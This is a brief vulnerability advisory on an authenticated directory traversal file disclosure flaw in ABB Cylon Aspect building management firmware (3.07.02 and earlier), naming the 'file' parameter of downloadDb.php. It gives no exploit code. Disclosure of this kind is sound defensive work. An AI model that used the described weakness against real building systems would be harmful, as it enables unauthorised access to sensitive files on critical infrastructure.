ABB Cylon Aspect 3.07.02 Authenticated File Disclosure

ABB Cylon Aspect 3.07.02 (downloadDb.php) Authenticated File Disclosure

Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.07.02

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The building management system suffers from an authenticated arbitrary
file disclosure vulnerability. Input passed through the ‘file’ GET parameter
through the ‘downloadDb.php’ script is not properly verified before being used
to download database files. This can be exploited to disclose the contents of
arbitrary and sensitive files via directory traversal attacks.
